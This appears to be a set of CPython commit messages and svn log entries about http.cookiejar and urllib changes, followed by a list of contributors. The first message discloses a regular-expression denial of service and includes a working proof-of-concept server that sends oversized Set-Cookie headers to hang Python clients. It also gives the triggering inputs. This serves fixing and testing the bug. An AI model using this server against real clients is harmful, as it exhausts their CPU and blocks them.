The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.
Co-authored-by: Demian Brecht <demianbrecht@gmail.com>
https://bugs.python.org/issue12144
Automerge-Triggered-By: @asvetlov
* Refactor cookie path check as per RFC 6265
* Add tests for prefix match of path
* Add news entry
* Fix set_ok_path and refactor tests
* Use slice for last letter
Don't send cookies of domain A without Domain attribute to domain B when domain A is a suffix match of domain B while using a cookiejar with `http.cookiejar.DefaultCookiePolicy` policy. Patch by Karthikeyan Singaravelan.
Two kind of mistakes:
1. Missed space. After concatenating there is no space between words.
2. Missed comma. Causes unintentional concatenating in a list of strings.
svn+ssh://pythondev@svn.python.org/python/trunk
........
r81465 | georg.brandl | 2010-05-22 06:29:19 -0500 (Sat, 22 May 2010) | 2 lines
Issue #3924: Ignore cookies with invalid "version" field in cookielib.
........
r81466 | georg.brandl | 2010-05-22 06:31:16 -0500 (Sat, 22 May 2010) | 1 line
Underscore the name of an internal utility function.
........
r81468 | georg.brandl | 2010-05-22 06:43:25 -0500 (Sat, 22 May 2010) | 1 line
#8635: document enumerate() start parameter in docstring.
........
r81679 | benjamin.peterson | 2010-06-03 16:21:03 -0500 (Thu, 03 Jun 2010) | 1 line
use a set for membership testing
........
r81735 | michael.foord | 2010-06-05 06:46:59 -0500 (Sat, 05 Jun 2010) | 1 line
Extract error message truncating into a method (unittest.TestCase._truncateMessage).
........
r81760 | michael.foord | 2010-06-05 14:38:42 -0500 (Sat, 05 Jun 2010) | 1 line
Issue 8302. SkipTest exception is setUpClass or setUpModule is now reported as a skip rather than an error.
........
r81868 | benjamin.peterson | 2010-06-09 14:45:04 -0500 (Wed, 09 Jun 2010) | 1 line
fix code formatting
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r82183 | benjamin.peterson | 2010-06-23 15:29:26 -0500 (Wed, 23 Jun 2010) | 1 line
cpython only gc tests
........
Request are now available as public attributes, e.g. full_url and
host. The accessor methods are deprecated. The implementation
replace the complicated __getattr__ machinery with a _parse() method.
The response from an HTTP request is now an HTTPResponse instance
instead of an addinfourl() wrapper instance. The wrapper provided
minimal extract functionality and was undocumented. The API of
addinfourl() was preserved, except for close hooks, by adding a few
methods and public attributes to the HTTPResponse class.
Code contributed by Matt Giuca. quote() now encodes the input
before quoting, unquote() decodes after unquoting. There are
new arguments to change the encoding and errors settings.
There are also new APIs to skip the encode/decode steps.
[un]quote_plus() are also affected.
It consists of code from urllib, urllib2, urlparse, and robotparser.
The old modules have all been removed. The new package has five
submodules: urllib.parse, urllib.request, urllib.response,
urllib.error, and urllib.robotparser. The urllib.request.urlopen()
function uses the url opener from urllib2.
Note that the unittests have not been renamed for the
beta, but they will be renamed in the future.
Joint work with Senthil Kumaran.
bcaller
Xtreak
Stéphane Wirtel
Serhiy Storchaka
Paul Bailey
R David Murray
Martin Panter
Senthil Kumaran
Berker Peksag
Robert Collins
Ezio Melotti
Antoine Pitrou
Benjamin Peterson
Brett Cannon
Gregory P. Smith
Jeremy Hylton
Guido van Rossum
Barry Warsaw
Georg Brandl